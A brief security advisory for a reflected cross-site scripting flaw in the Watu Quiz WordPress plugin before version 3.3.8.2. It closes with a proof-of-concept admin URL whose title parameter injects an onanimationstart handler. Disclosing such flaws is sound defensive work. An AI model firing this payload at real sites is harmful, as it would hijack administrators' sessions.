Watu Quiz < 3.3.8.2 - Reflected XSS

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

PoC

Make a logged in admin open the following URL: https://example.com/wp-admin/admin.php?page=watu_exams&amp;title;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(%2FXSS%2F)%2F%2F